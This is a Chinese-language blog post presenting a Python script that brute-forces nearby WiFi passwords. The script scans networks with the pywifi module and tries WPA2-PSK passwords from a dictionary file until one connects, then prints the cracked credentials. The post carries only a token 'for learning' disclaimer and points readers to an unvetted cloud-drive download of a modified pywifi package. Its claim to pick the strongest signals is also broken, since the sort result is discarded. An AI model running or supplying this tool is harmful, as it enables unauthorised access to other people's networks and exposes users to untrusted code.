Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
tornado框架blog模块分析与使用
Nov 21 Python
Python中实现字符串类型与字典类型相互转换的方法
Aug 18 Python
Python正则表达式匹配ip地址实例
Oct 09 Python
python如何定义带参数的装饰器
Mar 20 Python
Python 中PyQt5 点击主窗口弹出另一个窗口的实现方法
Jul 04 Python
利用python计算时间差(返回天数)
Sep 07 Python
python3 pillow模块实现简单验证码
Oct 31 Python
python同义词替换的实现(jieba分词)
Jan 21 Python
Python3加密解密库Crypto的RSA加解密和签名/验签实现方法实例
Feb 11 Python
详解Python中的编码问题(encoding与decode、str与bytes)
Sep 30 Python
字典算法实现及操作 --python(实用)
Mar 31 Python
pycharm 如何查看某一函数源码的快捷键
May 12 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
一个oracle+PHP的查询的例子
2006/10/09 PHP
php循环输出数据库内容的代码
2008/05/24 PHP
手把手教你打印出PDF(关于fpdf的简单应用)
2013/06/25 PHP
php中url函数介绍及使用示例
2014/02/13 PHP
php遍历文件夹和文件列表示例分享
2014/03/11 PHP
PHP数据库操作二:memcache用法分析
2017/08/16 PHP
laravel手动创建数组分页的实现代码
2018/06/07 PHP
javascript 函数调用规则
2009/08/26 Javascript
javascript调试说明
2010/06/07 Javascript
Node.js编码规范
2014/07/14 Javascript
JS判断日期格式是否合法的简单实例
2016/07/11 Javascript
深入解析js轮播插件核心代码的实现过程
2017/04/14 Javascript
php 修改密码实现代码
2017/05/24 Javascript
JavaScript封装的常用工具类库bee.js用法详解【经典类库】
2018/09/03 Javascript
JS面向对象编程——ES6 中class的继承用法详解
2020/03/03 Javascript
[10:28]2018DOTA2国际邀请赛寻真——VGJ.S寻梦之路
2018/08/15 DOTA
[01:14]英雄,所敬略同——2018完美盛典宣传视频4K
2018/12/05 DOTA
python回调函数的使用方法
2014/01/23 Python
Python脚本实现格式化css文件
2015/04/08 Python
星球大战与Python之间的那些事
2016/01/07 Python
python实现按行切分文本文件的方法
2016/04/18 Python
python微信公众号之关键词自动回复
2018/06/15 Python
python读取ini配置文件过程示范
2019/12/23 Python
Pytorch使用PIL和Numpy将单张图片转为Pytorch张量方式
2020/05/25 Python
HTML5 device access 设备访问详解
2018/05/24 HTML / CSS
Champion澳大利亚官网:美国冠军运动服装
2018/05/07 全球购物
全球速卖通俄罗斯站:AliExpress俄罗斯
2019/06/17 全球购物
英国珠宝网站Argento: PANDORA、Olivia Burton和Nomination等
2020/05/08 全球购物
Weblogic和WebSphere不同特点
2012/05/09 面试题
数学系毕业生的自我评价
2014/01/10 职场文书
高中生自我评价范文2015
2015/03/03 职场文书
用电申请报告范文
2015/05/18 职场文书
婚礼父母致辞
2015/07/28 职场文书
如何利用Python实现一个论文降重工具
2021/07/09 Python
MySQL提取JSON字段数据实现查询
2022/04/22 MySQL
详解Go语言中配置文件使用与日志配置
2022/06/01 Golang